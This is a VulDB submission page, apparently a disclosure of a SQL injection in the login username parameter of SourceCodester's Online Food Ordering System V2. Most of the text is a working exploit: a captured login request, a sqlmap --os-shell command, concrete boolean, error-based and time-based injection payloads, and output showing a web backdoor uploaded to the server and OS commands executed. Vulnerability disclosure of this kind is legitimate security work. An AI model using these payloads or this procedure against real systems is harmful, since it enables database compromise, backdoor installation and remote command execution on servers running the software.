| 제목 | Online Food Ordering System V2 - SQL Injection Leads to Remote Code Execution |
|---|
| 설명 | # Exploit Title: Online Food Ordering System V2 - SQL Injection Leads to Remote Code Execution
# Exploit Author: Lohith Velagapudi
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Version: v2.0
# Tested on: Windows 10, Apache
Description:-
SQL Injection in "Username" Parameter in Login page when we use SQLMap against it we can see that it leads to Remote Code Execution. It's a direct remote shell where we can execute all OS command Injection attacks.
`
Payload used:-
sqlmap.py -r read.TXT --os-shell
`
Parameter":-
sqlmap.py -r read.TXT --os-shell
read.txt:
```
POST /fos/admin/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/login.php
Cookie: PHPSESSID=4kad07jef8isojahohfcgaungr
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=admin&password=admin123
```
`
Steps to reproduce:-
1. Here we capture the request in read.txt file : http://localhost/fos/admin/ajax.php?action=login
2. Now we run our SQLMap Command
3. As we can see we got our "os-shell" via SQL Injection
Response:
C:\Users\shett\Downloads\sqlmapproject-sqlmap-1.6.5-8-g7008361\sqlmapproject-sqlmap-7008361>sqlmap.py -r read.TXT --os-shell
___
__H__
___ ___[(]_____ ___ ___ {x.x.x.x#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:46:48 /2023-01-13/
[00:46:48] [INFO] parsing HTTP request from 'read.TXT'
[00:46:49] [INFO] resuming back-end DBMS 'mysql'
[00:46:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 1732=1732 AND 'iBcp'='iBcp&password=admin123
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' OR (SELECT 3695 FROM(SELECT COUNT(*),CONCAT(0x7171717171,(SELECT (ELT(3695=3695,1))),0x716a6a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AlPX'='AlPX&password=admin123
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 6129 FROM (SELECT(SLEEP(5)))JLnu) AND 'RPXR'='RPXR&password=admin123
---
[00:46:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.27, Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:46:50] [INFO] going to use a web backdoor for command prompt
[00:46:50] [INFO] fingerprinting the back-end DBMS operating system
[00:46:50] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[00:46:57] [INFO] retrieved the web server document root: 'C:\xampp\htdocs'
[00:46:57] [INFO] retrieved web server absolute paths: 'C:/xampp/htdocs/fos/admin/admin_class.php'
[00:46:57] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[00:46:57] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://localhost:80/tmpuyacm.php
[00:46:57] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://localhost:80/tmpbsyez.php
[00:46:57] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'laptop-hp9276gc\shett'
os-shell>
|
|---|
| 사용자 | Lohith19 (UID 33732) |
|---|
| 제출 | 2023. 01. 12. PM 08:20 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 01. 12. PM 10:02 (2 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 218184 [SourceCodester Online Food Ordering System 2.0 Login Page ajax.php?action=login 사용자 이름 SQL 주입] |
|---|
| 포인트들 | 17 |
|---|